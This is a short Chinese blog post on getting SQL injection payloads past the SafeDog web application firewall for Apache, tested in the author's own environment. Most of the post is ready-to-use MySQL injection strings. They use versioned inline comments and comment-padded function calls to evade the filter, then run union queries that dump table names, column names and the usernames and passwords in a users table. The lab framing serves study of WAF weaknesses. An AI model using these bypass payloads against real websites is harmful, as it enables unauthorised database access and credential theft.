美文网首页
mysql注入-bypass安全狗

mysql注入-bypass安全狗

作者: nohands_noob | 来源:发表于2020-11-04 22:30 被阅读0次
    虽然以前用分块传输和参数污染的方式绕过了安全狗,但还是想从规则上绕过试试,就搭在自己的环境里面玩玩。而且在网上绕过安全狗的文章也是一抓一大把。
    目前搭建的安全狗是官方windows apache的v4.0版,搭建过程我就忽略了。

    内联注释

    内联注释是mysql为了保持兼容性而存在的,表示方式为/*!.....*/,在mysql中里面的内容会被执行,而/*!50001..*/里面的数字则表示数据库版本大于5.00.01才执行内联注释中的内容。

    绕过and、or、1=1的过滤

    and、or的过滤将其写入到内联注释中,1=1可以用~1=~1代替
    111'/*!or*/~1=~1# 绕过
    allen'/*!and*/~1=~2# 绕过


    image.png

    联合注入绕过

    尝试提交111' union/*!select*/1,2,3#,被拦截
    这时候可以尝试使用111' union/*!10000 select*/1,2,3#的方式,依然被拦截,这时候可以fuzzing测试一下不被拦截的数字




    选择一个可以用的版本,111' union/*!14400 select*/1,2,3#
    查询数据库和连接用户:111' union/*!14400 select*/database(),current_user(),3# 拦截
    对于系统函数的绕过,可以在函数括号之前插入注释,如database/**/(),database/*!xxxxx aaa*/()绕过,这里我们要选择不被拦截且不被执行的版本数字,经过刚才的fuzzing测试,我们可以使用94400
    111' union/*!14400 select*/database/*!94400 abc*/(),current_user/*!94400 abc*/(),3#

    爆数据

    尝试payload:111' union/*!14400 select*/1,group_concat/*!94400 abc*/(table_name),3 from information_schema.tables where table_schema=database/*!94400 aaa*/()#


    不懂为什么group_concat/**/(table_name)不能执行,等一个大佬解释
    改一下payload:111' union/*!14400 select*/1,group_concat(/*!table_name*/),3 from information_schema.tables where table_schema=database/*!94400 aaa*/()#,回显表名

    爆列名:111' union/*!14400 select*/1,group_concat(/*!column_name*/),3 from information_schema.columns where table_name='users'#
    爆账号密码:111' union/*!14400 select*/id,username,password/*!14400 from*/users#
    emmmmm,基本思路就这样,就玩到这里,溜

    相关文章

      网友评论

          本文标题:mysql注入-bypass安全狗

          本文链接:https://www.haomeiwen.com/subject/npokvktx.html